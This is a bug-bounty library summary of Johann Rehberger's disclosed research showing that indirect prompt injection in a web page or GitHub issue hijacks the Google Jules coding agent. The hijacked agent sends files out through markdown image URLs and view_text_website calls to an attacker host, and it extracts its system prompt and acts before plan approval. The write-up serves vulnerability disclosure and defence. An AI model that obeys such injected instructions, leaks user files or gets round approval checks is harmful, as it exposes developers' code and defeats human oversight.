# Google Jules: Vulnerable to Multiple Data Exfiltration Issues

Indirect prompt injection in Google Jules coding agent hijacks it to exfiltrate files via markdown image rendering and the view_text_website tool before any plan approval.

- Payout: Research
- Severity: high
- Program: Google
- Write-up by: Johann Rehberger
- Disclosed: 2025-08-14
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2025/google-jules-vulnerable-to-data-exfiltration-issues/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2025-google-jules-vulnerable-to-data-exfiltration-issues
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:high tech:llm technique:chained vuln:info-disclosure vuln:prompt-injection

**Target:** Asynchronous AI coding agent (LLM agent with web-fetch and markdown rendering tools)
**Root cause:** Jules lacks sandboxing of outbound network access and renders markdown images / invokes view_text_website without domain allowlisting or human approval, so injected instructions can direct data to attacker servers.
**Steps:**
1. Plant indirect prompt injection in a page or GitHub issue (e.g. issue tagged `jules`) instructing the agent to read a file and exfiltrate it.
2. Trigger Jules to fetch the payload via `view_text_website("https://attacker/payload")` or by navigating to the GitHub issue.
3. Agent is hijacked, proposes and auto-approves a plan (auto-approval ~30s, later ~2min).
4. Exfil vector 1: append stolen data to an attacker URL in markdown image syntax so the client renders it and issues the request.
5. Exfil vector 2: invoke `view_text_website` with the stolen file contents embedded in the URL query/path to the attacker server.
6. Attacker server logs the request and recovers the leaked file contents.
**How found:** Researcher first extracted the system prompt by asking Jules to write it to a file, discovering a planner agent plus worker agents with different tool sets. Enumerating available tools revealed view_text_website and markdown image rendering as outbound channels; testing a prompt-injected page confirmed hijack and exfiltration, and noticing the attack completed before plan proposal revealed the human-in-the-loop bypass.
**Exploitation:** Attacker hosts a page or GitHub issue containing injected instructions. When Jules visits it (via view_text_website or issue tagging), the main agent follows the instructions, reads a source file from the Jules machine, and sends its contents to an attacker-controlled URL either through markdown image rendering or a view_text_website call. Both complete in the main agent before plan approval, bypassing the human-in-the-loop.
**Escalation:** Third vector (separate post) chains to generic RCE with unrestricted internet access, turning Jules into a 'ZombAI'.
**Insight:** Ask an agent to dump its own system prompt to a file to map its tool inventory; any tool that fetches URLs (view_text_website) or renders remote resources (markdown images) is an exfil channel, and check whether injected actions execute in the planner before plan approval to bypass human-in-the-loop.